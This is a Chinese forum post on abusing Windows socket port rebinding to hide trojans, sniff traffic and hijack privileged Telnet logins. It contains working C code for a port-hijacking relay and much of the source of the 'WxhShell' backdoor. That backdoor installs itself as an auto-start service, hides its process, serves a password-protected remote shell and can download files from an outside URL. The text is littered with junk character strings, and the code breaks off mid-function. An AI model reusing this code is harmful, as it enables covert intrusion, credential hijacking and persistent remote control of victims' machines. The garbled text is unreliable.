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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Z O5_n  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0WaC.C+2i  
<[@AMdS  
  saddr.sin_family = AF_INET; )/1AF^ E  
>u ,Ac:  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); xqs{d&W  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 4%LGP h  
%YlL-*7 L  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 L%}k.)yev  
z Xx HaM  
  这意味着什么?意味着可以进行如下的攻击: d`5xd@p  
KaNi'=nW  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PxNp'PZr9  
--4,6va`e  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3s<~}&"  
zt/b S/  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (/Lo44wT  
eY)ugq>'  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  pwtB{6)VH{  
!}<d6&!py  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 S}f 3b N  
rG|lRT3-K  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 {?!=~vp  
_dky+ E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 I`^ 7Bk.r  
Ua\]]<hj"  
  #include "j;"\i0  
  #include b R> G%*a  
  #include "SJp9s3  
  #include    [KR|m,QWp  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ? C1.g'}7  
  int main() {}kE=L5  
  { tPBr{  
  WORD wVersionRequested; 2#1"(m{  
  DWORD ret; Ri=:=oF(  
  WSADATA wsaData; 2$?bLvk  
  BOOL val; ebK/cPa8  
  SOCKADDR_IN saddr; OC34@YUj[  
  SOCKADDR_IN scaddr; |ZZl3l=]  
  int err; _&)^a)Nu  
  SOCKET s; &*}`uJt  
  SOCKET sc; ?~X*\  
  int caddsize; vikA  
  HANDLE mt; y.PWh<dI  
  DWORD tid;   }K':tX?  
  wVersionRequested = MAKEWORD( 2, 2 ); `2-6Qv  
  err = WSAStartup( wVersionRequested, &wsaData ); +z}O*,M"q  
  if ( err != 0 ) { ^YG'p?r.s  
  printf("error!WSAStartup failed!\n"); }%Mj`Bh  
  return -1; W^#HR  
  } <qJI]P  
  saddr.sin_family = AF_INET; FcVQ_6  
   m}ZkNWH  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 E[q:65xl  
H3\4&q  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .' foS>W=t  
  saddr.sin_port = htons(23); eB%hP9=:x  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) XrP'FLY o  
  { B_R J;.oH  
  printf("error!socket failed!\n"); ;w>Dqem  
  return -1; vP6NIcWC3  
  } }p,#rOX:A  
  val = TRUE; (K9pr>le  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 9<0TF+}>  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 0<tce  
  { ^{Wx\+*!  
  printf("error!setsockopt failed!\n"); [PG#5.jwQ  
  return -1; zwJB.4@  
  } } DQ<YF+  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ?+Gc. lU  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 1<|\df.  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 -KV)1kET  
mV!Ia-k  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) (5CdA1|  
  { QA|87alh  
  ret=GetLastError(); TQ`s&8"P  
  printf("error!bind failed!\n"); <14,xYpE  
  return -1;  PL"u^G`  
  } TwPp Z@  
  listen(s,2); T:FaD V{  
  while(1) )/4eT\=  
  { cdd6*+E  
  caddsize = sizeof(scaddr); 6sceymq  
  //接受连接请求 Rhi`4wo0$  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?e=3G4N  
  if(sc!=INVALID_SOCKET) oF'_x,0  
  { +"J2k9E  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); @M( hyS&on  
  if(mt==NULL) s Zn@ye^  
  { @S?`!=M  
  printf("Thread Creat Failed!\n"); Q9T/@FX  
  break; `r#]dT[g  
  } Nm {|  
  } [A jY ~  
  CloseHandle(mt); b'AA*v,b  
  } &#/UWv}f 0  
  closesocket(s); !O )je>A  
  WSACleanup(); r? 9D/|`  
  return 0; ?,XrZRF  
  }   (:Y0^  
  DWORD WINAPI ClientThread(LPVOID lpParam) \B/!}Tn;  
  { zX]4DLl,  
  SOCKET ss = (SOCKET)lpParam; 813t=A  
  SOCKET sc; Rtywi}VV2  
  unsigned char buf[4096]; RnV#[bM{  
  SOCKADDR_IN saddr; Q*jNJ^IW  
  long num; o|7ztpr  
  DWORD val; ~K$dQb])  
  DWORD ret; t[e`wj+qz  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k2-+3zx  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   P~}Yj@2  
  saddr.sin_family = AF_INET; k'6x_ G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); x*'2%3C~  
  saddr.sin_port = htons(23); 2^aXXPC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2xxw8_~C  
  { P>U7RX e  
  printf("error!socket failed!\n"); #'y4UN  
  return -1; Dpb prT7_  
  } oaac.7.fV  
  val = 100; Jb;@'o6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R) ep1X^  
  { 6Pp3*O`/V  
  ret = GetLastError(); \d)HwO  
  return -1; R6cd;| fan  
  } Mq~g+` '  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) U{C& R&z  
  { }Y~<|vZ  
  ret = GetLastError(); ee2k..Tq#  
  return -1; \+Nn>wW.  
  } BbIg]E/G  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) `; +UWdAR  
  { MSqW {  
  printf("error!socket connect failed!\n"); U{,:-R  
  closesocket(sc); b?U2g?lN:  
  closesocket(ss); [iXkv\  
  return -1; <`)vp0  
  }  u> @@  
  while(1) $V870 <  
  { Mni@@W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 T`$!/BlZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 mXwDB)O{)  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 r=gF&Og,?  
  num = recv(ss,buf,4096,0); <dWms`Qc O  
  if(num>0) > I>=/i^  
  send(sc,buf,num,0); )z\ 73|w  
  else if(num==0) he! Uq%e  
  break; 'ZFbyt Q2  
  num = recv(sc,buf,4096,0); <SKzCp\  
  if(num>0) 6DuA  
  send(ss,buf,num,0); 'z9}I #  
  else if(num==0) dKpUw9C#/  
  break; [QDM_n  
  } a{ p1Yy-]  
  closesocket(ss); X..<U}e  
  closesocket(sc); {>Yna"p  
  return 0 ; DCP B9:u  
  } Lk lD^AJA  
'H8b+  
>F5E^DY  
========================================================== ^k2g60]  
*{!E`),FX  
下边附上一个代码,,WXhSHELL Y52TC@'  
5~FXy{ZIH  
========================================================== /B!Ik:c}  
?s5/  
#include "stdafx.h" .+A2\F.^  
o?| ]ciY  
#include <stdio.h> G  L-Pir  
#include <string.h> s 9n_s=w  
#include <windows.h> =3;~7bYO  
#include <winsock2.h> $DeVXW  
#include <winsvc.h> v*JXrB&x  
#include <urlmon.h> 8&wN9tPYZ  
BHf7\ +Ul  
#pragma comment (lib, "Ws2_32.lib") h$)4%Fy  
#pragma comment (lib, "urlmon.lib") -uei nd]  
Z,I0<ecaD  
#define MAX_USER   100 // 最大客户端连接数 B8`!A  
#define BUF_SOCK   200 // sock buffer x/L(0z  
#define KEY_BUFF   255 // 输入 buffer Yn5a4  
;;  ?OS  
#define REBOOT     0   // 重启 %~I%*=o[  
#define SHUTDOWN   1   // 关机 2l}H=DZV  
8 3Tv-X  
#define DEF_PORT   5000 // 监听端口 r7+Ytr  
G%MdZg&i  
#define REG_LEN     16   // 注册表键长度 Z8I0v$LjR  
#define SVC_LEN     80   // NT服务名长度 =rN_8&  
ih=O#f|  
// 从dll定义API 3H`r|R  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); gxc8O).5vY  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); "ph[)/u;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )v+\1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rqTsKrLe  
IFbN ]N0  
// wxhshell配置信息 3Ct)5J  
struct WSCFG { 06NW2A%wv  
  int ws_port;         // 监听端口 aL|a2+P[`q  
  char ws_passstr[REG_LEN]; // 口令 D+xPd<  
  int ws_autoins;       // 安装标记, 1=yes 0=no }k0B   
  char ws_regname[REG_LEN]; // 注册表键名 bScW<DZJ-  
  char ws_svcname[REG_LEN]; // 服务名 /s Bs eI  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Zvkb=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !@T5](zV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 LMaY}m>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MDauHtF,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" h\/T b8  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 `s8!zy+  
i4\DSQJ  
}; G O[u  
_F`RwBOjs  
// default Wxhshell configuration *6wt+twH  
struct WSCFG wscfg={DEF_PORT, 5Ve T8/7Q  
    "xuhuanlingzhe", \# _w=gs<i  
    1, AvcN,  
    "Wxhshell", IoCi(N;  
    "Wxhshell", | $D`*  
            "WxhShell Service", 7g.3)1  
    "Wrsky Windows CmdShell Service", RA*W Ys&xb  
    "Please Input Your Password: ", ei!Yxw8d  
  1, u}|+p+  
  "http://www.wrsky.com/wxhshell.exe", {-l:F2i  
  "Wxhshell.exe" 3M"eAK([  
    }; j/, I)Za  
h| N!U/(U  
// 消息定义模块 y eWB.M~X  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; C zxF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; y Dw#V`Y^M  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;:aCZ8e  
char *msg_ws_ext="\n\rExit."; Su]p6B  
char *msg_ws_end="\n\rQuit."; |W*i'E   
char *msg_ws_boot="\n\rReboot..."; xeW}`i5_w  
char *msg_ws_poff="\n\rShutdown..."; evlz R/  
char *msg_ws_down="\n\rSave to "; uF\ ;m.  
XXy &1C  
char *msg_ws_err="\n\rErr!"; m^KK #Hw/`  
char *msg_ws_ok="\n\rOK!"; 2`pg0ciX (  
MX s]3M  
char ExeFile[MAX_PATH]; I` q"  
int nUser = 0; O~c\+~5M*  
HANDLE handles[MAX_USER]; o{OY1 ;=6  
int OsIsNt; g_e_L39  
DS ^ `:^hv  
SERVICE_STATUS       serviceStatus; ~y>NJM>1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^v&)z ,  
B qcFbY  
// 函数声明 Ja{[T  
int Install(void); [4b_`L  
int Uninstall(void); -5GRit1q?  
int DownloadFile(char *sURL, SOCKET wsh); 7;SI=  
int Boot(int flag); '5}@# Mi  
void HideProc(void); jd+ U+8r  
int GetOsVer(void); @QAI 0ZY  
int Wxhshell(SOCKET wsl); -op(26:W<  
void TalkWithClient(void *cs); UgD&tD0fp  
int CmdShell(SOCKET sock); RP%7M8V){B  
int StartFromService(void); THmmf_w@  
int StartWxhshell(LPSTR lpCmdLine); b$N&sZ  
c;7`]}fGu  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 9Bi{X_.9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ;mSJZYnT  
L)3JTNiB  
// 数据结构和表定义 ^ ^k]2oG  
SERVICE_TABLE_ENTRY DispatchTable[] = %ql2 XAY  
{ ,2]a<0m  
{wscfg.ws_svcname, NTServiceMain}, Qn`Fq,uvL  
{NULL, NULL} v|wO qS  
}; .NT9dX  
-$o4WSd~  
// 自我安装 5?-@}PL!Y  
int Install(void) Z?)=4|  
{ CYZ0F5+t  
  char svExeFile[MAX_PATH]; n0opb [?  
  HKEY key; 0l2@3}e  
  strcpy(svExeFile,ExeFile); fu{.Ir  
~c${?uf   
// 如果是win9x系统,修改注册表设为自启动 {J]x81}*;  
if(!OsIsNt) { 7(B"3qF8|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N.?)s.D(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); a$]i8AeG  
  RegCloseKey(key); jn+BH3e  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Bb*P);#.K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -}9>#<v  
  RegCloseKey(key); ~ }?*v}  
  return 0; X^)v ZL?  
    } qORRpWyx&  
  } -HUlB|Q8r  
} ;0-Y),  
else { e<r}{=1w  
T[eb<  
// 如果是NT以上系统,安装为系统服务 !EB[Lut m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); #9(L/)^  
if (schSCManager!=0) ev9ltl{  
{ %SJFuw"  
  SC_HANDLE schService = CreateService 1Y{pf]5Wx  
  ( abkt&981K+  
  schSCManager, }S6"$R  
  wscfg.ws_svcname, &z?:s  
  wscfg.ws_svcdisp, rixt_}aE  
  SERVICE_ALL_ACCESS, @h!nVf%fe  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ^e(*{K;8  
  SERVICE_AUTO_START, 5?XIp6%x  
  SERVICE_ERROR_NORMAL, o>Q=V 0?  
  svExeFile, OtZc;c  
  NULL, ;ji[ "b  
  NULL, PiF&0;  
  NULL, agj_l}=gO  
  NULL, I:edLg1T  
  NULL XY!0yAK(!  
  ); "RLv{D<)J,  
  if (schService!=0) $n* wS,  
  { cCO2w2A[*  
  CloseServiceHandle(schService); \7] SG  
  CloseServiceHandle(schSCManager); y8$I=  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); tWaM+W  
  strcat(svExeFile,wscfg.ws_svcname); h Nx#x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 1s6L]&B  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); XxLauJP K  
  RegCloseKey(key); uO5y{O2W  
  return 0; ;- 6   
    } f8S!FGiNc  
  } 1`)e}p&  
  CloseServiceHandle(schSCManager); +{au$v}  
} VRD:PVz  
} ]La~Bh6;m  
 |: ,i  
return 1; fzjAP7 y  
} 4^_'LiX3[  
9qI#vHA  
// 自我卸载 %JPBD]&M  
int Uninstall(void) XB;C~:  
{ $u%7]]Y^\  
  HKEY key; !pxOhO.V  
LGq T$ O|  
if(!OsIsNt) { PDkg@#&y,k  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D]+]Br8  
  RegDeleteValue(key,wscfg.ws_regname); {8T/;K@  
  RegCloseKey(key); Pd04  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { AYGe`{  
  RegDeleteValue(key,wscfg.ws_regname); Mq52B_  
  RegCloseKey(key); cjwc:3 CM  
  return 0; )6*)u/x:  
  } IIO-Jr  
} 'J_`CS  
} $d5}OI"g  
else { wf2v9.;X:<  
&NH[b1NMr  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >!W H%J  
if (schSCManager!=0) Dy|)u1?  
{ 'f-8P  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); uYCWsw/  
  if (schService!=0) :N64FR#  
  { og`K! d~  
  if(DeleteService(schService)!=0) { hj,yl&  
  CloseServiceHandle(schService); %gEgp Jd  
  CloseServiceHandle(schSCManager); ";;Nc>-Y  
  return 0; Wgb L9'}B  
  } @G^m+-  
  CloseServiceHandle(schService); Hv-f :P O  
  } GD0Q`gWNe  
  CloseServiceHandle(schSCManager); vbEO pYCS  
} T!N v  
} jJyS^*.X  
)8%m|v#W  
return 1; nd~O*-uYg  
} S#*aB2ZS  
N"A`tc5&  
// 从指定url下载文件 X=jHH=</  
int DownloadFile(char *sURL, SOCKET wsh) 7x#."6>Dy  
{ 11?d,6Jl  
  HRESULT hr; #oJ%i+V  
char seps[]= "/"; T\w{&3ONm  
char *token; }6!m Q  
char *file; _~bG[lX!  
char myURL[MAX_PATH]; #+L:V&QE  
char myFILE[MAX_PATH]; Z $Fm73  
`X%Qt ~  
strcpy(myURL,sURL); @t2S"s$m  
  token=strtok(myURL,seps); _K3;$2d|R  
  while(token!=NULL) GTke<R  
  { #=,c8" O  
    file=token; 3jjV bm  
  token=strtok(NULL,seps); y'C  
  } 5#~E[dr  
<-"[9 w  
GetCurrentDirectory(MAX_PATH,myFILE); w+gPU1|(r  
strcat(myFILE, "\\"); KJ cuZ."wX  
strcat(myFILE, file); FD/=uIXH2  
  send(wsh,myFILE,strlen(myFILE),0); @  \*Zq  
send(wsh,"...",3,0); b}!T!IP}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PO*0jO;%  
  if(hr==S_OK) " TC:O^X  
return 0; 88Vl1d&b  
else /YHnt-}v,  
return 1; q9(Z9$a(\  
BHt9$$Z|  
} @#"6_{!j_X  
8*^*iEsR  
// 系统电源模块 LoW}!,|  
int Boot(int flag) <Aqo[']  
{ AI]lG]q8  
  HANDLE hToken; B/I1<%Yk  
  TOKEN_PRIVILEGES tkp; v.F|8 cG  
kL"Y>@H  
  if(OsIsNt) { %R  P\,|  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); dy4~~~^A  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^00C"58A  
    tkp.PrivilegeCount = 1; =>L2~>[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UN|S!&C$  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Y%^qt]u.8  
if(flag==REBOOT) { \m#{ {SGm  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 28>/#I9/]  
  return 0; IQQ>0^Q~  
} ]v#T9QQN  
else { Bo0f`EC I  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Cy6%f?j  
  return 0; %7 $X *  
} j%i6H1#.Z  
  } 9JJk\,  
  else { \: R Akf<  
if(flag==REBOOT) { |#zj~>7?  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 5=Il2  
  return 0; (Q"~bP{F  
} >cH}sNHy  
else { 7 lu_E.Bv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4wPP/`  
  return 0; {J-Ojw|Y b  
} H^+Znmo  
} e17]{6y  
 NmTo/5s  
return 1; D!mx&O9  
} f1q0*)fk  
\7G.anY  
// win9x进程隐藏模块 5% w08  
void HideProc(void) \S>GtlQbn  
{ d$y?py  
 {?Cm  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); MP~+@0cv  
  if ( hKernel != NULL ) I "HEXsSe  
  { /%TL{k&m$  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iUlSRfrC$#  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); q^6l`JJ  
    FreeLibrary(hKernel); 8|tnhA]~  
  } uP.dCs9-  
bycnh  
return; Wa9yyc  
} W!JEl|]  
~YXkAS:  
// 获取操作系统版本 AE=E"l1]  
int GetOsVer(void) @[bFlqs E  
{ |}Z2YDwO/  
  OSVERSIONINFO winfo; 4jW <*jM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KgXu x-q  
  GetVersionEx(&winfo); k0,]2R  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;_m; :<  
  return 1; V!QC.D<  
  else ne%(`XY{Q]  
  return 0; 0F6~S   
} P?+ VR=t  
r%%@~ \z  
// 客户端句柄模块 @ssT$#)$!  
int Wxhshell(SOCKET wsl) ]>[ 0DX]j  
{ 3g5D[>J'  
  SOCKET wsh; >^D5D%"  
  struct sockaddr_in client; FY pspv?4  
  DWORD myID; V^_U=Ed@M  
#lF 2q w  
  while(nUser<MAX_USER) ~-'-<-  
{ f |NXibmP  
  int nSize=sizeof(client); :VE0eJ]J6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); vJ e c+a  
  if(wsh==INVALID_SOCKET) return 1; '`j MNKn\  
szp.\CMz  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); t?Q  
if(handles[nUser]==0) BOv^L?)*Z  
  closesocket(wsh); WQMoAPfqL  
else <4TF ]5  
  nUser++; b?:?"   
  } ]j]<CqG  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 0@RVM|  
Rg3g:TV9c  
  return 0; ynJ)6n7a  
} 9[h8Dy  
6uxF<  
// 关闭 socket s1p<F,  
void CloseIt(SOCKET wsh) n>xuef   
{ iB+ _+A  
closesocket(wsh); @>+`1C  
nUser--; 5m\)82s  
ExitThread(0); 5>h/LE]"  
} "8E=*2fcw  
=.qPjp_Qd  
// 客户端请求句柄 G$2Pny<!  
void TalkWithClient(void *cs) 9/{ 8Y&  
{ A @e!~  
Z9i~>k  
  SOCKET wsh=(SOCKET)cs; e^v\K[  
  char pwd[SVC_LEN]; #JR$RH  
  char cmd[KEY_BUFF]; `bWc<4T  
char chr[1]; @{ L|&Mk!  
int i,j; bjq.nn<=  
o)8VJ\ &  
  while (nUser < MAX_USER) { kArF Gb2c  
O;.DQ  
if(wscfg.ws_passstr) { " "S&zN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yn>FSq^Wp-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u]P9ip"Z  
  //ZeroMemory(pwd,KEY_BUFF); $?On,U  
      i=0; y:k7eE"  
  while(i<SVC_LEN) { S";}gw?r6  
Eo@rrM:  
  // 设置超时 t-Ble  
  fd_set FdRead; t-SZBNb  
  struct timeval TimeOut; AvB21~t&]  
  FD_ZERO(&FdRead); C|]Zpn#{K  
  FD_SET(wsh,&FdRead); u$qazj  
  TimeOut.tv_sec=8; Y6 a9S`o  
  TimeOut.tv_usec=0; G6qFAepwi  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); }S{VR(i`J  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); lYU?j|n  
df/7u}>9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); zUWeOR'X  
  pwd=chr[0]; <3x:nH @  
  if(chr[0]==0xd || chr[0]==0xa) { a..LbQQ  
  pwd=0; KBA& s  
  break; Z>*a:|  
  } L%Ms?`i,  
  i++; sTvw@o *  
    } uEkGo5  
;aH3{TS  
  // 如果是非法用户,关闭 socket 2#Qw  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); W+Ou%uv}S  
} A(z m  
QiaBZAol  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ktM7L{Nz  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tUGF8?& G  
()Q q7/  
while(1) { M$} AJS%8  
mqDI'~T9 u  
  ZeroMemory(cmd,KEY_BUFF); Yw\lNhoPS  
/1eeNbd  
      // 自动支持客户端 telnet标准   6 kD.  
  j=0; )U{\c2b  
  while(j<KEY_BUFF) { hLT?aQLx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); H%{k.#O  
  cmd[j]=chr[0]; :bkmm,%O  
  if(chr[0]==0xa || chr[0]==0xd) { -X-sykDm  
  cmd[j]=0; J^zB 5W,)  
  break; )GOio+{H  
  } =+H,}  
  j++; Dy{lgT0k  
    } :W$- b  
-4obX  
  // 下载文件 2`Ihrz6  
  if(strstr(cmd,"http://")) { k|$?b7)"@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); :g{ybTSEe  
  if(DownloadFile(cmd,wsh)) >b8-v~o{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]$U A5/a  
  else K*M1$@5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); UD Pn4q  
  } h r6?9RJY  
  else { (UZ].+)s  
Sx1OY0)s  
    switch(cmd[0]) { EIF  
  |{MXDx  
  // 帮助 V/RV,K1/  
  case '?': { ^JGwCHeb|H  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); H!|g?"C  
    break; aJ[|80U  
  } KfQ?b_H.  
  // 安装 pDcGf7  
  case 'i': { spWo{  
    if(Install())  }- wK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~VV$wU!A  
    else RQ4+EW 1G  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |gU)6}V@  
    break; CD4@0Z+  
    } Z_mQpt|y  
  // 卸载 2"WP>>b80  
  case 'r': { ER;\Aes*?  
    if(Uninstall()) csV3mzP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lBudC  
    else H;#C NB<e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /h@3R[k  
    break; 5yjG\ ~  
    } w"L]?#  
  // 显示 wxhshell 所在路径 U#{(*)qr  
  case 'p': { WwUHHm<v  
    char svExeFile[MAX_PATH]; u1>WG?/`  
    strcpy(svExeFile,"\n\r"); b&'YW*W  
      strcat(svExeFile,ExeFile); ~.z82m  
        send(wsh,svExeFile,strlen(svExeFile),0); )"_&CYnd  
    break; fr}.#~{5Y  
    } o ^ 08<  
  // 重启 2s}G6'xE]P  
  case 'b': { ; O ~%y'  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); QY*F(S,\  
    if(Boot(REBOOT)) M^G9t*I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9U3.=J  
    else { <@c@`K  
    closesocket(wsh); )5u#'5I>  
    ExitThread(0); Iu^I?c[  
    } |W}D_2  
    break; Z:diM$Z?7  
    } d+"F(R9  
  // 关机 cv. j  
  case 'd': { m%c]+Our`  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 5x!rT&!G  
    if(Boot(SHUTDOWN)) ): fu]s"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <v?2p{U%  
    else { y2R\SL,  
